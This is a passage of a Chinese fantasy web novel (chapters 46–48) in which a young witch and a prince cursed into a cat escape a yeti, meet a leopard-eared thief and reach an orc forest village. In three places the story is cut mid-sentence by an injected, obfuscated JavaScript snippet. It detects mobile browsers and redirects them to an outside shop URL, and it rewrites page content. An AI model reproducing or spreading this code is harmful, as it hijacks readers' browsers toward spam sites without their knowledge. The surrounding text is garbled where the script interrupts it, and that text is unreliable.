然而她在记忆共享中见到过什么……什么来着?下城区的集市,青色的……她不记得。记忆共享的魔法太微弱,如果不刻意去记下对方的记忆或是其实记忆本就是两人共有的(比如她从卢卡斯那里看到的艾丹的阴谋),过去这么久,便会遗忘。 他们沉默片刻。 “还有一件事,”卢卡斯又说,声音更轻,有点颤抖,“你对肺病了解多少?” 阿什琳微微皱眉。他问这个干什么? “不是很多。症状有咳嗽、胸闷、呼吸困难……如果我很了解的话,你也不会被我诅咒了。”阿什琳承认,“萨诺瓦——嗯,他没教什么。” 卢卡斯深深地吸了一口气,似乎在酝酿什么。 “那么,我想我需要告诉你。其实——” 她没有机会听到他要告诉她的话。 因为就在这时,他们屁股底下传来一阵可怕的嗡嗡声。 卢卡斯跳了起来,接着时间一到,变成了那只黑猫,毛微微炸开。 “这是什么?” 阿什琳不得不把一大堆情绪与疑问咽下去。如果他们被神秘的雪地魔法攻击,也没有必要和卢卡斯讨论什么情感或者白痴或者其它他要告诉她的事了。 他们潦草地将装备一股脑儿塞进空间背包,匆匆奔出洞穴,来到雪坡下面。 外面依然冷得要命,阿什琳捂紧斗篷与帽子,上牙与下牙打架,感觉耳朵即将掉下来。 那嗡嗡声却消失在雪风中,宛若幻听。 “我再上去看看。”卢卡斯自告奋勇。 这很合理,他是猫,比阿什琳更擅长攀岩。 然而,黑猫上到洞顶的第一秒,阿什琳就感觉到强烈的不对劲,浑身警铃大作。 整座白色的山洞震动起来,几乎可以说是摇摇欲坠。厚厚的一层雪抖落在阿什琳的帽子上,沉重如铅。 她跌倒在地,紧接着又扶起松树。大地撼动,如同地震前兆。一股雪松与血腥混合在一起的味道涌进她的鼻腔。 “卢卡斯!快下来!” “我也想啊喵!” 卢卡斯整只猫几乎贴着洞顶,爪子紧紧勾着平面,以维持平衡。 在硕大的白色中,他不过是个不起眼的小黑点。 洞顶开始旋转,非常、非常地慢,甚至带一点儿卡顿。 就像是…… 阿什琳的呼吸停滞片刻。 “山洞”转过来,洞顶那两棵雪松上的雪此时落得一干二净,终于呈现出它们原本的样貌:一对长长的、弯曲的螺纹犄角。先前他们曾以为是兽人扎营留下的毛毯,也变成了活物身上的白毛。 至于那一起一伏的声音,阿什琳本以为听到了洞底传来的寒风,现在她知道她错得离谱。 松林里的脚印不是熊的。 他们太冷、太饿,把诺西村前客栈的矮人老板的话忘得一干二净。 卢卡斯站着的不是洞顶。 46.雪地求生 是雪怪的头。 雪怪竟然是真的。 雪怪怎么会是真的? 奇美拉、斯芬克斯与九头蛇是黑暗的孩子,三头犬是灵界的守护者,它们真实存在,因为它们都被猎魔人讨伐过,前者都被关进了埃多洛迷宫。 猎魔人卡桑德拉曾说,近来怪兽似乎又开始扰乱人间。现在他们知晓了原因:埃多洛迷宫的入口被黑暗女巫的信徒诺克斯与丧心病狂的精灵艾丹渐渐打开。 但雪怪…… 从来没有猎魔人打倒过一只雪怪。 雪怪与迷宫无关。迷宫里没有雪怪,它是生于雪原的恐怖民谣,是那些无知又野蛮的兽人口中的传说,是吓唬兽人孩子的睡前故事。 卢卡斯曾在历史课上学习过所有怪兽的史料记载,对雪怪的故事格外感兴趣。所有怪兽中,唯独雪怪只有精美的、设计图一样的插画,却没有确切的描述。图画中,它身体硕大,像头巨型猩猩,通体白毛,眼睛像灯一样闪闪发光。 当时,历史老师不屑地从鼻子里哼了一声。 “现在连兽人都对雪怪传说不买账了。”老师说,“你作为有文化的人类的王子,更没必要好奇这种无厘头的怪兽。” 卢卡斯紧紧扒着雪怪头顶的白毛,有那么一瞬想要仰天大笑。 他们竟然在传说中的怪兽的头顶上谈了一夜心,睡了一会儿,甚至他差点在这儿吐露真相——这和计划出入可太大了。 等他回宫,他就可以用雪怪的毛证明历史老师错了;而等他老了,他就可以给孙子孙女讲这样一个故事:两个傻孩子在铺了毛毯的山洞里避雪,结果发现毛毯是雪怪的头发。 接下来,他意识到自己恐怕等不到回宫或是老了的那天。 随雪怪缓缓起身,卢卡斯也伏得更低、更紧,凛冽的风尖锐刮过他的猫毛。 头一次,他希望自己是只长毛猫。 他往下看向阿什琳,女孩惊恐地愣着,动弹不得,鼻头冻得像草莓一样红。她张了张嘴,呼出一团白气,没能发出任何声音。 雪怪彻底站起来了,一种可怕的晕眩击中了卢卡斯。他四肢瘫软,突然什么也看不清,视线中只有茫茫一片白色。 神啊。 太高了。尽管他还在上面,他却觉得自己已经粉身碎骨。 “魔——魔法。”他竟然还能说出点话来,“阿什琳!松树!” “噢,对。”阿什琳好像这才找回魂魄,“松树。没错。” 她慌慌张张地举起绿萤石法杖,然后似乎想起来她的森林魔法是不需要法杖的,又放下,冲四周的雪松张开双臂。 松树摇摇晃晃,仿佛一阵大风吹来。树上的雪掉落,但没有更多。 雪怪朝她走去,咆哮了一声,卢卡斯猜想它大概有很严重的起床气。 他们的两匹小马被雪怪一惊,嘶叫着冲进更深的森林。 “奶油!巧克力!”阿什琳喊道,但是小马头也不回地跑没了影儿。 她的兜帽被它的口气冲到雪地里,金发在寒风中胡乱飞舞。 “天哪,雪怪先生。你从来不刷牙的吗?”她捂住鼻子。 卢卡斯勾着雪怪的犄角,以防掉下去。别往下看,他告诉自己,不然在摔死之前他就会先晕倒。 “接下来你是不是要送它一套洗漱用品了?” “我太冷太累了。”阿什琳缩着脑袋,声音绝望,“施展不了魔力!松树不听我的!” 她在雪地中奔跑起来,雪怪迈出长满白色绒毛的大脚,紧跟着她。 “吼吼吼吼吼!”它大喊。 “我们需要改变计划!”卢卡斯努力说。 “我们原本有计划?!” 雪怪一脚向阿什琳踩去,她紧急施了个轰炸咒。它大叫一声,弯腰挠起脚心。 卢卡斯压低重心,环顾四周。除了大片大片的雪松外,这里一无所有。 “带它冲到林子里,阿什琳!” 阿什琳照做,气喘吁吁地奔进松林,卢卡斯依旧无助地扒着它的头顶与犄角。 她现在魔力不足,松树不会疯长或去攻击雪怪;但如果仅仅是让一圈松树向雪怪靠拢呢? 他们不需要杀死雪怪——看在太阳神的份儿上,它能不能被杀死都得另说。 他们只要暂时困住它。 目前看来,它应该和迷宫中的怪兽一样没太多智商。 “带它到松树林里,然后让一圈松树捆住它的脚!”卢卡斯的声音被风吹散。 阿什琳奋力奔跑,雪怪的步伐震动着大地。哐、哐、哐。 “什么脚?”她大喊道。 “捆住它的——脚!” 显然,她还是没听清。 “我不喜欢它的脚!” 好吧,是时候拼一把了,卢卡斯·德维尔。他对自己说。恐高算什么?他现在是一只猫,猫有九条命呢,从空中掉下去摔死的概率比人类小得多,他应该珍惜这样的机会——呃,体验坠落后活下来的机会。 雪怪踏进松林,松树只到它的膝盖。松林里为数不多几只鸟也惊恐地飞走了。 卢卡斯小心地从它的头顶跳到肩膀,瞅准身下离得最近的树梢,弓起背刚要接着跳,身后却吹来一股混杂着血、腐烂物与金属的恶臭。 黑猫抖抖鼻子,雪怪为什么会有金属味?是他把金属与血腥的气息搞混了吗? 他回过头,接着非常后悔这个愚蠢的举动——雪怪张开血盆大口冲着他。 “吼吼吼吼吼!” 猫的嗅觉比人类要灵敏二十倍。卢卡斯头昏目眩,庆幸他们没有东西可以吃,不然他现在肯定会大吐特吐。 传说雪怪吃人,□□灵,吃矮人,也吃兽人,或许可以改名叫大胃怪。 不过它吃猫吗? 卢卡斯觉得他最好还是别知道这个问题的答案。他鼓起勇气,纵身一跃,扒在松树顶上,踢掉不少雪,那些雪落正好在阿什琳的头发中。 而阿什琳张开手,卢卡斯落进她怀里。她和他一样冷,但他刹那间却觉得暖洋洋的。 “听好了:待会儿我们冲出林子,你让它脚周的那些松树向它聚拢,捆住它的脚。我数三下,三——” 咚!雪怪的脚猛地撞击在他们身后。 “就是现在!”卢卡斯紧急修改计划,直接将头从女巫的怀里挣扎出来。 阿什琳一阵狂奔,皮靴在厚厚的雪层中发出嘎吱嘎吱的声音。雪怪再次咆哮,她屏住呼吸,回过头,一手抱猫,一手指挥着雪怪毛脚四周的所有松树。 松树们唰唰作响地开始聚拢,像被无形的大手用风捆住。阿什琳用手做了一个收紧的姿势,松树们一齐围绕雪怪的脚,狠狠贴上去。 雪怪怒吼得更厉害了,声音盖过了呼啸的狂风。 “我做到了!”阿什琳惊喜地说。 “还没有!”卢卡斯提醒,“跑掉才算做到。快跑!” “今天的运动量真是超标了。”阿什琳抱怨着冲出松树林,“呃,往哪个方向——” “地图!” 她一边跑一边去掏包,结果只是零零碎碎又掉出一堆垃圾。卢卡斯忍无可忍,主动将头伸进包里。 这么做的结果就是他压根儿不想再把头伸出来,因为包里太暖和。他集中注意力嗅了嗅,闻到地图的羊皮纸气息,叼了出来。 阿什琳刚拿上地图,一阵狂风刮过,地图像面罩一样贴在她的脸上。她本能地将地图抖掉,地图滑溜溜地飞走。 “哦不不不不……”她赶紧手忙脚乱地去追在空中一路狂飞的地图,但很显然,地图已经自由了。 雪怪已经挣脱了松树陷阱,前来找他们报仇。 “你可以用龙骨弓射中它么?再施展一次记忆共享咒?” 阿什琳念出咒语,但摇摇头。“我的魔法被冻僵了!” 卢卡斯罕见地感觉大脑一片空白。他对雪怪的知识储备为零,对雪地求生的知识储 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541591|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备一样不多。 这样也好,他想,至少他没有机会告诉阿什琳关于肺病的事了。这个念头令他松了口气,但不到一秒——就算他可以去死,凭什么阿什琳要和他一起?她为他付出了几乎一切,不可能就是为了被雪怪吃掉。 他得为她争取时间。 卢卡斯多么希望再在她的臂弯里待一会儿,但他还是挣扎起来,踢起她的胳膊。 “你干什么?” “让我下去。” 阿什琳大惊失色,抱得更紧了。“你疯了吗?” 卢卡斯狠下心,咬了她一口。阿什琳尖叫一声松手,黑猫一瞬间逃脱。 “卢卡斯!回来——你这个疯子!” 他摔进雪地里,冰凉的雪花融进他的毛。这是世界上最恐怖的感受,没有什么能与之媲美,现在他完全可以理解为什么猫讨厌水,更别提冰雪了。雪层太厚,他得先艰难地踩在上面,然后尽量跑得快一点。 “来吧,大脚怪!”他冲雪怪喵道,“人早就吃腻了吧?是不是还没尝过猫?” 雪怪果然转移了目标。 卢卡斯立刻朝着与阿什琳相反的方向跑去。运气好的话,他就能将它引到很远的地方,而他藏起来不被发现,之后再偷偷回来找阿什琳。比起人类,他更小巧灵活,成功的概率更大。 遗憾的是,他一向算不上运气好。 他和雪怪的确是远离了阿什琳,但雪怪离他有点儿太近了。正当他要跃上一棵树时,那家伙竟伸出可怕的大手,一把抓住了他。 雪怪将他高高举起,张开嘴,给他送来一堆美味的臭气,以及十分新颖的炸毛造型。 真糟糕。 还好,他的遗书应该还在宫廷里。 他离那张充满恶臭的嘴越来越近、越来越近…… 嗖! 一只箭划过卢卡斯的猫耳,插进雪怪的嘴里。 雪怪咆哮着松开卢卡斯。卢卡斯在空中紧急翻滚,调整姿势,尽最大可能四脚朝地,扑进雪里。 他迅速抬起头,一股熟悉的猫科动物的气息充斥鼻腔。 混乱、摇晃着的白色之中,高挑帅气的豹子女孩举起一把长弓,再次瞄准雪怪。 “喵呜——”卢卡斯吐出雪花,急忙向他的小女巫跑去。他毫不意外地发现阿什琳也在向他奔来,但这样一来他的计划就没用了。 她跑得满脸通红,眼角亮晶晶的,不知道是雪花还是什么。 “别再这样对我了!”见到他,她大口大口地喘着气,白雾一团又一团地呼出来。 “普通的弓箭对它无效,小女巫!”那个豹子女孩又冲雪怪射了几箭,“你有什么附魔的——” 话音未落,雪怪呼出的恶气将她掀翻在地,木弓脱落。 怪兽一脚踩向去,脚抬起时只剩一地木屑。 阿什琳立刻把可以附魔箭矢的龙骨弓扔给豹子女孩,动作可谓既不丝滑也不精准。 一阵弧光划过,龙骨弓孤独地躺在两人之间。 “抱歉!”阿什琳尖声道。 雪怪嘲笑地叫了一声,向豹子女孩转去,却在最后一秒改变了主意,直接俯下身,将阿什琳整个儿提了起来。 女巫大叫一声,法杖掉在地上。卢卡斯四爪紧紧抓住阿什琳的肩膀,几乎把她的斗篷扣破。 “看这儿,丑八怪!”此时,豹子女孩举起龙骨弓,瞄向雪怪的眉心。 箭光一闪,雪怪终于重重地倒下,震动了正片雪地。卢卡斯只见雪地离自己越来越近,恐惧地喵起来。 还好,雪层太厚,他们终究没能摔死。 铅灰色的空中,雪花密起,又纷纷落下。 瑞伊·玛拉转过身,飞雪在她身后就像白鸟的长翅。 “啊,又见面了。”她抖掉豹耳与短发上的雪,利落地收起弓,从腰间拔出一把匕首——那是她先前从阿什琳那里夺来的,“你们的气味被咒语遮盖了不少。追踪你们,可真不容易。” 47.奇迹雪泥 狂风大作,阿什琳紧紧抱着卢卡斯。他感觉自己的肋骨要被压断了,但毫无怨言。 他只希望她能抱得更紧——当然,是因为寒冷的天气。换作平常,他肯定会迅速挣脱。他就算外形上是只小猫,灵魂可还是王子呢!王子当然是不会想被女巫抱的。 一想到他还在这个女巫手下打过一点儿(注意!只有一点儿)呼噜,他就恨不得找个老鼠洞钻进去。 但话说回来,阿什琳身上总是很好闻,令他想起森林中的溪流与树叶缝隙下的碎光,在这种最紧张的时刻也能令他安下心来。 “追踪?你是说,你追踪了我们好几周?这也太变态了吧。”卢卡斯难以置信地问,不过阿什琳没有翻译。 “有话好好说,玛拉小姐!”女巫说道,“没有必要出武器吧。顺便一提,这武器是我的。” 瑞伊没有收起匕首,刀锋直指阿什琳的胸口。和他们一样,她满头是雪,脸冻得发红。她的头发剃得如此短,在寒冷的北境生活可没什么优势。 “你们和那个矮人是一伙儿的?” “矮人?不,我之前从没见过她。” “那她那天为什么要帮你们?布莱斯和哈里已经卧床不起了!” “因为她说你的敌人就是她的朋友。”阿什琳说,“我建议你还是少偷东西,指不定会惹到什么危险人物。” “危险人物?你说诺瓦?”瑞伊嘲讽道,“她只是个沉迷机械的小呆子。” “不,”阿什琳说,“我说我。” 话音刚落,一片阴影便落在瑞伊头顶。她身侧,巨大的松树突然弯下腰,威胁地盯着她看。作为警告,松顶的雪掉在她耳朵上。 瑞伊脸色一变。 “这怎么可能?巫师不都要用咒语,或者复杂的仪式么?况且你只是个小姑娘……”她向后退去,匕首转向那棵树。 松树颤抖起来,更多雪落在瑞伊头顶。卢卡斯猜,它大概被这无意义的匕首威胁逗乐了。 “我一点儿也不小!明年春天我就十七岁了!”阿什琳恼火地说,“放下武器,我就告诉你是怎么回事,你也告诉我为什么要追踪我们。” 瑞伊她总算收起匕首,狐疑地看了他们一眼。 “这只猫是人类王国的王子,对吧?一开始我以为你们是来侦察兽人的人类卧底呢,但转念一想,人类干嘛派两个孩子来当卧底?”她两手叉腰,“告诉我,一个人类女巫和被诅咒的王子,到底为什么出现在这儿?” “我们要前往寒爪林参加试炼,”阿什琳说,“但是地图丢了,钱和食物——显然也被你偷了。不过,谢谢你救我们一命。” “参加试炼?你们想获得花环?”瑞伊大笑起来,“真是异想天开。大祭司才不会给你们试炼资格!” “为什么?试炼资格有什么标准喵?”卢卡斯问道,阿什琳翻译过来。 瑞伊耸肩。“标准就是没有标准。我们伟大的祭司总是很神秘,试炼者都是她点兵点将选的,试炼也是乱编的。” 这么随意的兽人也能当大祭司?真算不上什么好消息。卢卡斯本以为试炼会有严格的标准与程序,这样他们就能好好准备了。 卢卡斯伸出脑袋观望后方,却看不清雪怪的身影。 魔法怪兽是没那么容易立刻被打倒的。他依然对那只脑袋上插箭的三头犬咬向阿什琳的画面心有余悸。 “容我提醒,女孩们,那雪怪是否真的死——” 一声咆哮回答了他的问题。 雪怪竟然又爬起身,眼睛发光。 瑞伊立刻举弓:“别担心,龙骨弓的附魔箭能击晕它,刚刚击中的位置可能不太好。” 她手向后抓取,摸了个空。 箭已经用完了。 阿什琳面色铁青:“现在怎么办?” “跑!” 又来了。卢卡斯叹了一口气。 雪怪非常有毅力。就算眉心上插着龙骨弓附魔的箭,也坚持在雪地里抓小人,看来真的饿坏了。 阿什琳跑得上气不接下气,被瑞伊远远甩在后面;卢卡斯一边努力让自己不从她怀中掉下去,一边从她身后观察雪怪。 “寒爪林有大祭司的力量保护,到了那儿我们就安全了!”瑞伊回头喊,尾巴晃了晃,“你在磨蹭什么,小女巫?” “这就是我最快的速度了!” 瑞伊纠结地看着她,又看了眼雪怪,然后飞奔而来,一只手直接把阿什琳扛在肩上。 卢卡斯顿时天旋地转,整只猫被夹在她们俩之间。 “这是什——” “我需要你的魔法!”瑞伊说着冲进下一片树林。 雪怪每走一步,就有一大片松树倒下。 阿什琳搂着瑞伊的肩膀,不用自己跑步了,便空出精力控制松树,尽可能拖延雪怪。 瑞伊速度极快。虽然这么说不大合适,但卢卡斯感觉自己在赛马。 “你需要阿什琳的魔法干什么?”卢卡斯问。 阿什琳在百忙之中又给瑞伊施了个猫语咒。 “一是伪装。”瑞伊边跑边道,“我得混进寒爪林。二是——” 唰!一棵树从他们头顶掠过。 “——二是治疗。我哥哥病了,没有什么能治好他,我出来是给他找线索的,可惜没找着。恐怕魔法是唯一的希望。我本就往寒爪林的方向去,没想到半路碰上了你们,便跟了几天,打算时机一到就聊几句。” “好歹只有几天。”卢卡斯说。一想到路上他们竟一直被一个动机不明的豹子小偷跟着,他就浑身发冷。 “天哪,很遗憾听到你哥哥的事!我会帮忙的。”阿什琳说,但紧接着皱起眉头,“不对,我们凭什么相信你?” 卢卡斯欣慰极了,至少这个女孩不再那么轻信别人。 “更别提,你还是寒爪林的通缉犯。”他说,“回去不是自寻死路喵?我们也不知道你是为什么而通缉的,说不定你杀过人喵——呜,咳咳。” 他清了清嗓子,突然觉得有点儿奇怪。 喵呜? 猫语咒在阿什琳和卢卡斯之间创造了一种他人无法理解的语言链接,他们实际上是在用魔法语言交谈,并不是动物的语言。 也就是说,在用猫语咒沟通时,他不应该冒出来猫叫。 最近他是不是喵得越来越多了呢?猫语咒开始失效了?有可能,毕竟阿什琳的魔法“被冻僵”了。 “两个骑在我身上逃命的家伙还敢这么说!”瑞伊说,“目前为止我没杀过人,也没杀过猫。你想成为第一个吗,小猫咪?” 雪怪用力扯出几棵树。 “小心!”卢卡斯大喊。 松树像巨箭一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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轰。雪怪的巨腿猛然扫过,他们三个顿时像被拍散的苍蝇,通通翻滚在雪地里。 卢卡斯抖了抖身上的雪,吐出雪泥,咳嗽着,顺带还吐了点毛球。 阿什琳再次试图用松树阻挡,却已为时过晚。雪怪可怕的阴影笼罩在他们头顶,如同末日。 卢卡斯紧贴住阿什琳的腿,心怦怦跳。 雪怪伸出脚。 就在这时,怪事——或者说,奇迹——发生了。 脚下嗡嗡震动,像是有东西即将冲出地面。混着泥土的雪倏然自个儿翻腾起来,往雪怪前方飞速滚动,好像沸腾的水花,白点四溅。 雪怪被泥水这么一扯,像踩了香蕉皮似的向后滑倒,不断后退。 阿什琳喘着气,面色惨白,看起来非常虚弱。卢卡斯刚想关心几句,她却坚定地念出幻术咒语。 绿光过后,瑞伊变成了半人半猫的卢卡斯模样。 时不时就能看到别人顶着自己的脸可真够怪的。 在雪怪再次爬起来之前,他们连忙穿过小溪,踏进寒爪林。 雪怪的怒吼声逐渐减退,那奇怪的雪泥,也终于停止不动,仿若从未惊起。 48.好想吃饭 踏进寒爪林,阿什琳的体温恢复了四分之一,但依然觉得半死不活。 林子里除了树顶外没有雪,道路被打扫得还算干净。雪松上的火把与屋子前的篝火令她感觉活过来了一点。 只有一点,因为她太饿。 她甚至饿得感觉不到饿了,肠胃叫得累,已经扭成一团,变形、蠕动,尽力捣鼓出疼痛来引起她的注意,让她满脑子只剩下一个念头:吃点东西。就连卢卡斯看起来也有点儿像会走路的黑面包。 刚刚对松树施展的魔法和伪装瑞伊的幻术的确令她虚弱,但真正感觉“被抽干”,似乎却与这两种魔法没有关系。可能是饥寒交迫导致的,她也说不清。 再撑一会儿,她对自己说,这没什么难的,那些故事里的主角都是这么来的。 瑞伊从腰包里掏出一面镜子,扒了扒她被幻术覆盖的面孔,反复观赏,然后失望地叹了一口气。 “唉!我没有以前帅了。” 卢卡斯不满:“不好意思?” 阿什琳咧咧嘴。瑞伊的确是一只非常英气的豹子,他一只小猫没什么可比之处。 瑞伊着迷地盯着镜子:“不过这魔法真有趣啊!要是我会施展这样的咒语……” “……你肯定会到处偷窃。好了,现在你可以假装自己是随便什么猫人。”阿什琳说。 “棒极了,”卢卡斯嘟囔,“我的名声就此毁于一旦。” 瑞伊爽快地笑起来:“哈哈,别担心,小王子。我们都没见过你的脸,你在这儿本就没有名声可言。” 四处是树屋与树洞,还有的房屋骨架似乎是用驯鹿角构建的,屋顶与墙壁则被大片大片的桦树皮与松木片覆盖,层层叠叠,以浸泡过的树根固定。 几棵树还张贴着醒目的通缉令,画着一个面目可憎、凶神恶煞的豹耳女人,那可怕的獠牙看起来能活吞他们。 全林通缉 瑞伊·玛拉 赏金200塞银。 “画师真是抓住了你的神韵。”卢卡斯评价,赢得了瑞伊的白眼。 “瑞伊……你为什么被通缉?”阿什琳好奇地问。 “天哪,所有人类女巫问题都这么多吗?” “不一定,我想我算比较烦人的那款。” “我偷了一样东西。”她轻描淡写道。 卢卡斯嗤笑一下。“猜得出来。我听到我的钱包在你那儿叫唤了。” “我能知道是什么吗?”阿什琳问。 “恐怕不能。” “和那个矮人诺瓦有关吗?” 瑞伊锐利地看了她一眼。“或许吧。” “你偷了诺瓦的东西?”阿什琳惊讶道,“那为什么兽人会通缉你?难道不应该是矮人通缉你吗?诺瓦去过寒爪林?” 瑞伊挠了挠豹子耳朵:“你的问题太多了,小女巫。我一时忙不过来。” “你有四只耳朵,我问了四个问题,刚刚好。”阿什琳指出。 瑞伊回想了一下。 “我的答案是:是、不告诉你、不是、是。”她说,“现在轮到我了。你们要参加试炼是为什么?不,先别回答我,让我猜猜——拿到花环来修复你心爱的王子?” “我不是任何人心爱的王子。”卢卡斯抗议,不过没人理他。 “花环只是解除诅咒的一部分。”阿什琳承认。这一回,她没有把事情全盘托出。 “是吗?”瑞伊豹耳竖起来,“祭司的花环力量很强大,按理说是可以修复任何形态的,比如把动物变回人——或者,人的部分更多的兽人。每年,有多少兽人都是为此而来!” “人的部分更多的兽人?”卢卡斯问,“哦,她是说格里塔!” “什么是格里塔?” “兽人可以分为两种。像瑞伊这样人脸带动物特征的兽人,就叫格里塔,在兽人语里是‘亚人’的意思;而动物头的兽人则是诺瑞拉,意思是‘纯兽’。” 阿什琳一下子明白了。 “那么,诺瑞拉们会参加试炼戴上花环,利用花环的力量,将自己变成格里塔?为什么?” “因为这个该死的偏爱人类的世界。”瑞伊说,“大家都想把自己整得像人类。你的小猫咪戴上花环后,应该也可以变回长猫耳朵的人的模样。” “但那能解除诅咒吗?我是指,让卢卡斯王子完全变回人类?” “我从未听说花环能解除什么诅咒,恐怕那需要更强大的魔法。花环出自大祭司之手笔,她会根据试炼对象的特质来制作独属于获胜者的花环,赋予获胜者修复与改善的力量。从诺瑞拉变成格里塔,便是‘改善’。” “真没品味。”阿什琳脱口而出,瑞伊挑起眉,“呀,对不起,我收回我的——不,我不收回。就是没品味。动物脑袋明明很萌,诺瑞拉没有任何需要改善的地方。” 瑞伊停下脚步,若有所思地看着她。 “你还是我见到的第一个这么说的人类,小女巫——也许女巫的审美都比较奇葩。”她说,“然而这可不仅仅是审美的问题。诺瑞拉们……从各方面来看,比格里塔都更像野蛮的动物。” 一路上,兽人们新奇地望着他们,用鼻子嗅嗅:一个大帽子女巫、一只黑猫和一个泛着点绿光的猫人,但很快就失去了兴趣。 大家都有自己的事要忙。一家子狐狸脑袋的诺瑞拉兽人在树洞前八卦,两位健壮的熊人在树桩上掰手腕,旁边许多小熊孩子在大喊加油。 人头有动物特征的格里塔们衣服更厚重,更华丽,通常是动物皮做的;兽头的诺瑞拉们则穿得单薄朴素,更多是亚麻布衣。 卢卡斯形态的瑞伊在一幢极其破烂的小树屋前停下。它歪歪扭扭,弱不禁风,似乎轻轻一碰就能七零八落。树屋门上挂着毛毯与鹿骨风铃,刻了一只豹子的图案。 瑞伊深吸一口气,抬起手,又放下,接着又抬起手,敲了敲门。 没有动静。 她又敲了敲,这回更用力,屋顶上有点雪花落下来。 一个骂骂咧咧的声音传过来:“该死的这么早是谁——” 门开了,露出一只毛茸茸的豹子头。 阿什琳惊讶地眨眨眼。 豹子头?可是瑞伊……瑞伊是一个格里塔,她的家人应该也是才对。也许她基因突变。 “早上好。”瑞伊说,“爸。” 豹子瞪着她,张张嘴,后退几步好像想让他们进来,结果又摇摇头,“碰”地把门关上了。 “我一定是在做梦。”他们听到瑞伊的父亲在门后嘀咕,“我什么时候生了个猫人儿子?” 瑞伊提防地看了看周围,才小声冲门缝道:“爸,是我,瑞伊·玛拉。” 于是门又开了。玛拉先生再次审视一下他们三个。 “你在我这里不受欢迎。”他生硬地说。 “我也没想着受你欢迎,”瑞伊说,“我是为比利来的。” 玛拉先生这才不情愿地让他们进屋。 温暖将阿什琳怀抱住,她立刻又恢复了二分之一,剩下的需要靠食物填充。要点饭吧,她的胃生气地说。 闭嘴,她反驳。 该死,难道你想饿虚脱吗?胃骂骂咧咧,你现在和干尸区别不大。 但我不能随便讨要食物!她回应,努力走了几步。其实她的胃说得对,她真的太饿了,恐怕过一会儿就连腿都迈不动。卢卡斯应该和她一样饿,但他一直躺在她肩膀上当围脖,用不着走路,保持了更多能量。 屋子很小,一张桌子,三把椅子,三张床,以及一个壁炉,就将这里填得满当当。炉火烧得正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556652|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旺,火光下,却有阴影艰难喘息。 最靠里的床上躺着一个同样是豹头的兽人,他的呼吸带着可怕的嘎吱嘎吱声,仿佛喉咙里充斥着苍蝇。 “咳咳……咳咳……”那兽人咳嗽起来,接着继续嘎吱呼吸。 玛拉先生拖着沉重的步伐为他们倒了三杯野梅茶,阿什琳和卢卡斯急不可耐地喝了几口,但瑞伊没有动。 “比利怎么了?” “先回答我你怎么了,以及这两位是谁。”玛拉先生指指瑞伊这身猫人男孩的样子,又指指阿什琳和卢卡斯。 “这是女巫阿什琳和她的猫。阿什琳,这位是我父亲,安德鲁·玛拉。”瑞伊介绍,“是阿什琳帮我伪装成别的模样,我才得以进来的。” “这个小姑娘?”豹子怀疑地打量她。 “是的,很高心认识您。您真可爱,先生——我是说,帅气。”阿什琳纠正,“我很喜欢您脸上的纹路,太时髦了。” 玛拉先生用大爪子摸了摸自己的脸,十分惊讶。 “谢谢你,姑娘。从没有人这么说过。”他高兴地哼了哼,脸上的怀疑灰飞烟灭,“还要更多茶吗?” 瑞伊靠着墙角。“爸,他们现在还在追捕我么?” 玛拉先生点点头:“我不会举报你,但也不会为你掩护。你的所作所为……令我蒙羞。” “我只是做了大家都想做的事。” “——以那样卑劣的手段!从此我们和矮人族的关系都破裂了!” “哈,难道我们以前和矮人关系很好?” “咳咳咳咳……”床上的豹子人又咳嗽起来。 瑞伊似乎这才想起来他们到这儿的原因,来到哥哥床前。卢卡斯跃到阿什琳肩头,与她一起看向这位虚弱的兽人。 “医师说病根在他的肺部。”玛拉先生道,“但是怎么也治不好。我上次提供给你的线索,你找到什么了吗?” 阿什琳竖起耳朵。线索? “没有。”瑞伊答,“但我找到了这位小女巫,可能能用魔法治好比利。阿什琳,一旦你治好他,我就带你去找大祭司。” “我会帮你们到大祭司那里说点好话。”玛拉先生也说,“获取试炼资格……” 比利的病症和卢卡斯当时的很像,同样是肺部,同样是咳嗽。既然她用萨诺瓦的治疗咒治愈了卢卡斯,那么如果她不念错的话,也是可以治愈比利的。 阿什琳举起法杖,清了清嗓子,让贫乏的魔力聚集到手掌与绿萤石上。 “阿什琳,你还好吧?”肩膀上的卢卡斯注意到她发颤的手,“也许我们应该先休息休息——” “我没事。很快就好了。”阿什琳说。 她的魔力还剩一点点,应该能够完成治疗。 “Corpus sur per lumen felīnum。”她沙哑地念出咒语,觉得筋疲力竭。 吃的,她的胃又抱怨道,饭! 然后,在看到任何事情发生之前—— 她两眼一黑,头倒向地板。失去意识之前,她想,至少这次她念对了咒语。 —————— “扎克,我觉得我联系到她啦。”黑暗中,一个小女孩的声音说,十分耳熟。 “呃,你是说那个精神连接的玩意儿?但阿什琳后来没有再用它了啊。”一个男孩的声音道。 “没错,不过现在看来它是互通的!但好像,只有出现什么极端情况的时候才行呢。” 男孩的声音变得紧张:“极端情况?她要死了吗?” 